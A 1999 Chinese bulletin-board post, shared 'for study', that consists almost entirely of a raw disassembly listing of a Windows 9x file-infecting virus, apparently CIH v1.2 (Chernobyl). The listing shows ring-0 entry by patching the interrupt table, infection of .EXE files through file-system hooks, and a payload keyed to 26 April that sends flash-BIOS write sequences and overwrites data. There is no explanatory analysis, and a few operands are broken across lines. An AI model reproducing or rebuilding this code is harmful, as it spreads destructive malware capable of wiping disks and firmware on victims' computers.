发信人: suol()
整理人: emil(1999-10-11 17:19:16), 站内信件
|
这是我在一个站点上下载的，提供给大家学习所用！
∶00401000 55 push ebp
∶00401001 8D4424F8 lea eax, dword ptr [esp-08]
∶00401005 33DB xor ebx, ebx
∶00401007 648703 xchg dword ptr fs:[ebx], eax
∶0040100A E800000000 call 0040100F
∶0040100F 5B pop ebx
∶00401010 8D4B42 lea ecx, dword ptr [ebx+42]
∶00401013 51 push ecx
∶00401014 50 push eax
∶00401015 50 push eax
∶00401016 0F014C24FE sidt [esp-02]
∶0040101B 5B pop ebx
∶0040101C 83C31C add ebx, 0000001C
∶0040101F FA cli
∶00401020 8B2B mov ebp, dword ptr [ebx]
∶00401022 668B6BFC mov bp, word ptr [ebx-04]
∶00401026 8D7112 lea esi, dword ptr [ecx+12]
∶00401029 56 push esi
∶0040102A 668973FC mov word ptr [ebx-04], si
∶0040102E C1EE10 shr esi, 10
∶00401031 66897302 mov word ptr [ebx+02], si
∶00401035 5E pop esi
∶00401036 CC int 03
∶00401037 56 push esi
∶00401038 8BF0 mov esi, eax
∶0040103A 8B48FC mov ecx, dword ptr [eax-04]
∶0040103D F3 repz
∶0040103E A4 movsb
∶0040103F 83E808 sub eax, 00000008
∶00401042 8B30 mov esi, dword ptr [eax]
∶00401044 0BF6 or esi, esi
∶00401046 7402 je 0040104A
∶00401048 EBF0 jmp 0040103A
∶0040104A 5E pop esi
∶0040104B CC int 03
∶0040104C FB sti
∶0040104D 33DB xor ebx, ebx
∶0040104F EB07 jmp 00401058
∶00401051 33DB xor ebx, ebx
∶00401053 648B03 mov eax, dword ptr fs:[ebx]
∶00401056 8B20 mov esp, dword ptr [eax]
∶00401058 648F03 pop dword ptr fs:[ebx]
∶0040105B 58 pop eax
∶0040105C 5D pop ebp
∶0040105D 6850370201 push 01023750
∶00401062 C3 ret
∶00401063 7432 je 00401097
∶00401065 0F BYTE 0fh
∶00401066 21C1 and ecx, eax
∶00401068 E310 jcxz 0040107A
∶0040106A 83042415 add dword ptr [esp], 00000015
∶0040106E 66896BFC mov word ptr [ebx-04], bp
∶00401072 C1ED10 shr ebp, 10
∶00401075 66896B02 mov word ptr [ebx+02], bp
∶00401079 CF iret
∶0040107A 0F BYTE 0fh
∶0040107B 23C3 and eax, ebx
∶0040107D 6A0F push 0000000F
∶0040107F 51 push ecx
∶00401080 6AFF push FFFFFFFF
∶00401082 51 push ecx
∶00401083 51 push ecx
∶00401084 51 push ecx
∶00401085 6A01 push 00000001
∶00401087 6A02 push 00000002
∶00401089 CD20 int 20
∶0040108B 53 push ebx
∶0040108C 0001 add byte ptr [ecx], al
∶0040108E 0083C420978D add byte ptr [ebx+8D9720C4], al
∶00401094 46 inc esi
∶00401095 9D popfd
∶00401096 CF iret
∶00401097 8D87F7FCFFFF lea eax, dword ptr [edi+FFFFFCF7]
∶0040109D 50 push eax
∶0040109E CD20 int 20
∶004010A0 67004000 add [bx+si+00], al
∶004010A4 0F BYTE 0fh
∶004010A5 23C0 and eax, eax
∶004010A7 58 pop eax
∶004010A8 8B4E3D mov ecx, dword ptr [esi+3D]
∶004010AB 8B11 mov edx, dword ptr [ecx]
∶004010AD 8950FC mov dword ptr [eax-04], edx
∶004010B0 8D40D6 lea eax, dword ptr [eax-2A]
∶004010B3 8901 mov dword ptr [ecx], eax
∶004010B5 FA cli
∶004010B6 EBB6 jmp 0040106E
∶004010B8 53 push ebx
∶004010B9 E800000000 call 004010BE
* Referenced by a CALL at Address:
|:004010B9
|
∶004010BE 5B pop ebx
∶004010BF 83C324 add ebx, 00000024
∶004010C2 53 push ebx
∶004010C3 CD20 int 20
∶004010C5 6800400058 push 58004000
∶004010CA FF742408 push [esp+08]
∶004010CE FF53FC call [ebx-04]
∶004010D1 59 pop ecx
∶004010D2 50 push eax
∶004010D3 53 push ebx
∶004010D4 FF53FC call [ebx-04]
∶004010D7 59 pop ecx
∶004010D8 0F BYTE 0fh
∶004010D9 23C0 and eax, eax
∶004010DB 58 pop eax
∶004010DC 5B pop ebx
∶004010DD C3 ret
∶004010DE C09201C060E800 rcl byte ptr [edx+E860C001], 00
∶004010E5 000000 BYTE 3 DUP(0)
∶004010E8 5E pop esi
∶004010E9 81C603030000 add esi, 00000303
∶004010EF F60601 test byte ptr [esi], 01
∶004010F2 0F85F0010000 jne 004012E8
∶004010F8 8D5C2428 lea ebx, dword ptr [esp+28]
∶004010FC 833B24 cmp dword ptr [ebx], 00000024
∶004010FF 0F85DD010000 jne 004012E2
∶00401105 FE06 inc byte ptr [esi]
∶00401107 83C605 add esi, 00000005
∶0040110A 56 push esi
∶0040110B 8A4304 mov al, byte ptr [ebx+04]
∶0040110E 3CFF cmp al, FF
∶00401110 7408 je 0040111A
∶00401112 0440 add al, 40
∶00401114 B43A mov ah, 3A
∶00401116 8906 mov dword ptr [esi], eax
∶00401118 46 inc esi
∶00401119 46 inc esi
∶0040111A 6A00 push 00000000
∶0040111C 6A7F push 0000007F
∶0040111E 8B5B10 mov ebx, dword ptr [ebx+10]
∶00401121 8B430C mov eax, dword ptr [ebx+0C]
∶00401124 83C004 add eax, 00000004
∶00401127 50 push eax
∶00401128 56 push esi
∶00401129 CD20 int 20
∶0040112B 41 inc ecx
∶0040112C 004000 add byte ptr [eax+00], al
∶0040112F 83C410 add esp, 00000010
∶00401132 817C06FC2E455845 cmp dword ptr [esi+eax-04], 4558452
E
∶0040113A 5E pop esi
∶0040113B 0F859E010000 jne 004012DF
∶00401141 66837B1801 cmp word ptr [ebx+18], 0001
∶00401146 0F8593010000 jne 004012DF
∶0040114C 66B80043 mov ax, 4300
∶00401150 CD20 int 20
∶00401152 3200 xor al, byte ptr [eax]
∶00401154 40 inc eax
∶00401155 000F add byte ptr [edi], cl
∶00401157 8283010000518B add byte ptr [ebx+51000001], 8B
∶0040115E BE62FDFFFF mov esi, FFFFFD62
∶00401163 8B3F mov edi, dword ptr [edi]
∶00401165 F6C101 test cl, 01
∶00401168 7408 je 00401172
∶0040116A 66B80143 mov ax, 4301
∶0040116E 33C9 xor ecx, ecx
∶00401170 FFD7 call edi
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401168(C)
|
∶00401172 33C0 xor eax, eax
∶00401174 B4D5 mov ah, D5
∶00401176 33C9 xor ecx, ecx
∶00401178 33D2 xor edx, edx
∶0040117A 42 inc edx
∶0040117B 8BDA mov ebx, edx
∶0040117D 43 inc ebx
∶0040117E FFD7 call edi
∶00401180 93 xchg eax,ebx
∶00401181 59 pop ecx
∶00401182 9C pushfd
∶00401183 F6C101 test cl, 01
∶00401186 7406 je 0040118E
∶00401188 66B80143 mov ax, 4301
∶0040118C FFD7 call edi
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401186(C)
|
∶0040118E 9D popfd
∶0040118F 0F824A010000 jb 004012DF
∶00401195 56 push esi
∶00401196 9C pushfd
∶00401197 83C67F add esi, 0000007F
∶0040119A 33C0 xor eax, eax
∶0040119C B4D6 mov ah, D6
∶0040119E 8BE8 mov ebp, eax
∶004011A0 33C9 xor ecx, ecx
∶004011A2 B104 mov cl, 04
∶004011A4 33D2 xor edx, edx
∶004011A6 B23C mov dl, 3C
∶004011A8 FFD7 call edi
∶004011AA 8B16 mov edx, dword ptr [esi]
∶004011AC 4A dec edx
∶004011AD 8BC5 mov eax, ebp
∶004011AF FFD7 call edi
∶004011B1 813E00504500 cmp dword ptr [esi], 00455000
∶004011B7 0F850A010000 jne 004012C7
∶004011BD 53 push ebx
∶004011BE 6A00 push 00000000
* Possible Reference to String Resource ID=00001: "Ave"
|
∶004011C0 6A01 push 00000001
∶004011C2 52 push edx
∶004011C3 57 push edi
∶004011C4 0F BYTE 0fh
∶004011C5 23CC and ecx, esp
∶004011C7 50 push eax
∶004011C8 8BC5 mov eax, ebp
∶004011CA B152 mov cl, 52
∶004011CC 83C207 add edx, 00000007
∶004011CF FFD7 call edi
∶004011D1 8D4222 lea eax, dword ptr [edx+22]
∶004011D4 50 push eax
∶004011D5 8D06 lea eax, dword ptr [esi]
∶004011D7 50 push eax
∶004011D8 0FB7460E movzx eax, word ptr [esi+0E]
∶004011DC 8D541012 lea edx, dword ptr [eax+edx+12]
∶004011E0 B028 mov al, 28
∶004011E2 8A0E mov cl, byte ptr [esi]
∶004011E4 F6E1 mul cl
∶004011E6 8D7632 lea esi, dword ptr [esi+32]
∶004011E9 50 push eax
∶004011EA 52 push edx
∶004011EB 56 push esi
∶004011EC 41 inc ecx
∶004011ED 51 push ecx
∶004011EE C1E103 shl ecx, 03
∶004011F1 51 push ecx
∶004011F2 03C8 add ecx, eax
∶004011F4 03CA add ecx, edx
∶004011F6 2B4E1C sub ecx, dword ptr [esi+1C]
∶004011F9 737D jnb 00401278
∶004011FB F7D1 not ecx
∶004011FD 41 inc ecx
∶004011FE 6681F9B800 cmp cx, 00B8
∶00401203 7273 jb 00401278
∶00401205 51 push ecx
∶00401206 91 xchg eax,ecx
∶00401207 8B46F0 mov eax, dword ptr [esi-10]
∶0040120A 0346FC add eax, dword ptr [esi-04]
∶0040120D 8986BDFBFFFF mov dword ptr [esi+FFFFFBBD], eax
∶00401213 8BC5 mov eax, ebp
∶00401215 FFD7 call edi
∶00401217 5B pop ebx
∶00401218 5F pop edi
∶00401219 59 pop ecx
∶0040121A 57 push edi
∶0040121B 03D0 add edx, eax
∶0040121D 52 push edx
∶0040121E 03C6 add eax, esi
∶00401220 50 push eax
∶00401221 8D4438FC lea eax, dword ptr [eax+edi-04]
∶00401225 8918 mov dword ptr [eax], ebx
∶00401227 53 push ebx
∶00401228 03D7 add edx, edi
∶0040122A 52 push edx
∶0040122B 8DBE5FFBFFFF lea edi, dword ptr [esi+FFFFFB5F]
∶00401231 57 push edi
∶00401232 8956CE mov dword ptr [esi-32], edx
∶00401235 8D56D8 lea edx, dword ptr [esi-28]
∶00401238 BDEB030000 mov ebp, 000003EB
∶0040123D EB31 jmp 00401270
∶0040123F 83C228 add edx, 00000028
∶00401242 8B5A10 mov ebx, dword ptr [edx+10]
∶00401245 2B5A08 sub ebx, dword ptr [edx+08]
∶00401248 762C jbe 00401276
∶0040124A 53 push ebx
∶0040124B 83E808 sub eax, 00000008
∶0040124E 8918 mov dword ptr [eax], ebx
∶00401250 8B5A14 mov ebx, dword ptr [edx+14]
∶00401253 035A08 add ebx, dword ptr [edx+08]
∶00401256 53 push ebx
∶00401257 57 push edi
∶00401258 8B5A08 mov ebx, dword ptr [edx+08]
∶0040125B 035A0C add ebx, dword ptr [edx+0C]
∶0040125E 035EFC add ebx, dword ptr [esi-04]
∶00401261 895804 mov dword ptr [eax+04], ebx
∶00401264 8B18 mov ebx, dword ptr [eax]
∶00401266 015A08 add dword ptr [edx+08], ebx
∶00401269 814A2440000040 or dword ptr [edx+24], 40000040
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040123D(U)
|
∶00401270 2BEB sub ebp, ebx
∶00401272 7609 jbe 0040127D
∶00401274 03FB add edi, ebx
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401248(C)
|
∶00401276 E2C7 loop 0040123F
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004011F9(C), :00401203(C)
|
∶00401278 0F BYTE 0fh
∶00401279 21CC and esp, ecx
∶0040127B EB2E jmp 004012AB
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401272(C)
|
∶0040127D 0128 add dword ptr [eax], ebp
∶0040127F 016C2408 add dword ptr [esp+08], ebp
∶00401283 33DB xor ebx, ebx
∶00401285 8958FC mov dword ptr [eax-04], ebx
∶00401288 8D86AFFCFFFF lea eax, dword ptr [esi+FFFFFCAF]
∶0040128E B104 mov cl, 04
∶00401290 66C700CD20 mov word ptr [eax], 20CD
∶00401295 8B948E29FFFFFF mov edx, dword ptr [esi+4*ecx-00000
0D7]
∶0040129C 895002 mov dword ptr [eax+02], edx
∶0040129F 0FB6943128FFFFFF movzx edx, byte ptr [ecx+esi-000000
D8]
∶004012A7 2BC2 sub eax, edx
∶004012A9 E2E5 loop 00401290
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040127B(U)
|
∶004012AB 0F BYTE 0fh
∶004012AC 21C8 and eax, ecx
∶004012AE 8B5810 mov ebx, dword ptr [eax+10]
∶004012B1 8B38 mov edi, dword ptr [eax]
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004012C1(U)
|
∶004012B3 59 pop ecx
∶004012B4 E30D jcxz 004012C3
∶004012B6 8BF1 mov esi, ecx
∶004012B8 B801D60000 mov eax, 0000D601
∶004012BD 5A pop edx
∶004012BE 59 pop ecx
∶004012BF FFD7 call edi
∶004012C1 EBF0 jmp 004012B3
∶004012C3 5B pop ebx
∶004012C4 58 pop eax
∶004012C5 F9 stc
∶004012C6 9C pushfd
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004011B7(C)
|
∶004012C7 33C0 xor eax, eax
∶004012C9 B4D7 mov ah, D7
∶004012CB FFD7 call edi
∶004012CD 9D popfd
∶004012CE 5E pop esi
∶004012CF 7331 jnb 00401302
∶004012D1 8BDF mov ebx, edi
∶004012D3 66B80343 mov ax, 4303
∶004012D7 8B4EFC mov ecx, dword ptr [esi-04]
∶004012DA 8B7EFE mov edi, dword ptr [esi-02]
∶004012DD FFD3 call ebx
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040113B(C), :00401146(C), :0040118F(C), :00401314(C)
|
∶004012DF FE4EFB dec [esi-05]
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004010FF(C)
|
∶004012E2 61 popad
∶004012E3 0F BYTE 0fh
∶004012E4 21C0 and eax, eax
∶004012E6 FF20 jmp dword ptr [eax]
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004010F2(C)
|
∶004012E8 8BDC mov ebx, esp
∶004012EA FF7338 push [ebx+38]
∶004012ED FF5324 call [ebx+24]
∶004012F0 59 pop ecx
∶004012F1 89431C mov dword ptr [ebx+1C], eax
∶004012F4 837B2824 cmp dword ptr [ebx+28], 00000024
∶004012F8 7506 jne 00401300
∶004012FA 8B4128 mov eax, dword ptr [ecx+28]
∶004012FD 894601 mov dword ptr [esi+01], eax
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004012F8(C)
|
∶00401300 61 popad
∶00401301 C3 ret
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004012CF(C)
|
∶00401302 66B80807 mov ax, 0708
∶00401306 E670 out 70, al
∶00401308 E471 in al, 71
∶0040130A 86E0 xchg al, ah
∶0040130C E670 out 70, al
∶0040130E E471 in al, 71
∶00401310 66352604 xor ax, 0426
∶00401314 75C9 jne 004012DF
∶00401316 66BDF80C mov bp, 0CF8
∶0040131A 8D76C7 lea esi, dword ptr [esi-39]
∶0040131D BF4C380080 mov edi, 8000384C
∶00401322 66BAFE0C mov dx, 0CFE
∶00401326 FA cli
∶00401327 FFD6 call esi
∶00401329 66BF5800 mov di, 0058
∶0040132D 4A dec edx
∶0040132E 66C74608240F mov [esi+08], 0F24
∶00401334 FFD6 call esi
∶00401336 8D5EF4 lea ebx, dword ptr [esi-0C]
∶00401339 B855550E00 mov eax, 000E5555
∶0040133E B9AA2A0E00 mov ecx, 000E2AAA
∶00401343 FFD3 call ebx
∶00401345 C60060 mov byte ptr [eax], 60
∶00401348 51 push ecx
∶00401349 E2FE loop 00401349
∶0040134B 32E4 xor ah, ah
∶0040134D 8800 mov byte ptr [eax], al
∶0040134F 91 xchg eax,ecx
∶00401350 E2FE loop 00401350
∶00401352 B855550F00 mov eax, 000F5555
∶00401357 59 pop ecx
∶00401358 B5AA mov ch, AA
∶0040135A FFD3 call ebx
∶0040135C C60020 mov byte ptr [eax], 20
∶0040135F E2FE loop 0040135F
∶00401361 B4E0 mov ah, E0
∶00401363 8800 mov byte ptr [eax], al
∶00401365 66C746080C10 mov [esi+08], 100C
∶0040136B FFD6 call esi
∶0040136D 33DB xor ebx, ebx
∶0040136F B780 mov bh, 80
∶00401371 53 push ebx
∶00401372 83EC2C sub esp, 0000002C
∶00401375 68001000C0 push C0001000
∶0040137A B7 BYTE b7h
* Referenced by a CALL at Addresses:
|:0040193B , :00403F31
|
∶0040137B 085351 or byte ptr [ebx+51], dl
∶0040137E 51 push ecx
∶0040137F 51 push ecx
∶00401380 6801050040 push 40000501
∶00401385 41 inc ecx
∶00401386 51 push ecx
∶00401387 51 push ecx
∶00401388 8BF4 mov esi, esp
∶0040138A 81ECAC000000 sub esp, 000000AC
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004013A0(U), :004013A9(U)
|
∶00401390 CD20 int 20
∶00401392 0400 add al, 00
∶00401394 1000 adc byte ptr [eax], al
∶00401396 66837E0617 cmp word ptr [esi+06], 0017
∶0040139B 7405 je 004013A2
∶0040139D FE464D inc [esi+4D]
∶004013A0 EBEE jmp 00401390
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040139B(C)
|
∶004013A2 015E10 add dword ptr [esi+10], ebx
∶004013A5 C6464D80 mov [esi+4D], 80
∶004013A9 EBE5 jmp 00401390
∶004013AB 8808 mov byte ptr [eax], cl
∶004013AD 8801 mov byte ptr [ecx], al
∶004013AF C60080 mov byte ptr [eax], 80
∶004013B2 8808 mov byte ptr [eax], cl
∶004013B4 8801 mov byte ptr [ecx], al
∶004013B6 C3 ret
∶004013B7 97 xchg eax,edi
∶004013B8 87D5 xchg ebp, edx
∶004013BA EF out dx, ax
∶004013BB 97 xchg eax,edi
∶004013BC 87D5 xchg ebp, edx
∶004013BE EC in al, dx
∶004013BF 0C44 or al, 44
∶004013C1 97 xchg eax,edi
∶004013C2 87D5 xchg ebp, edx
∶004013C4 EF out dx, ax
∶004013C5 97 xchg eax,edi
∶004013C6 87D5 xchg ebp, edx
∶004013C8 EE out dx, al
∶004013C9 C3 ret
∶004013CA 00 BYTE 0
∶004013CB 3A6627 cmp ah, byte ptr [esi+27]
∶004013CE 53 push ebx
∶004013CF 0001 add byte ptr [ecx], al
∶004013D1 006800 add byte ptr [eax+00], ch
∶004013D4 40 inc eax
∶004013D5 004100 add byte ptr [ecx+00], al
∶004013D8 40 inc eax
∶004013D9 0032 add byte ptr [edx], dh
∶004013DB 004000 add byte ptr [eax+00], al
∶004013DE 43 inc ebx
∶004013DF 49 dec ecx
∶004013E0 48 dec eax
∶004013E1 207631 and byte ptr [esi+31], dh
∶004013E4 2E3220 xor ah, byte ptr cs:[eax]
∶004013E7 54 push esp
∶004013E8 54 push esp
∶004013E9 49 dec ecx
∶004013EA 54 push esp
--
※ 来源:．网易虚拟社区 club.netease.com．[FROM: 202.100.70.36]
|
|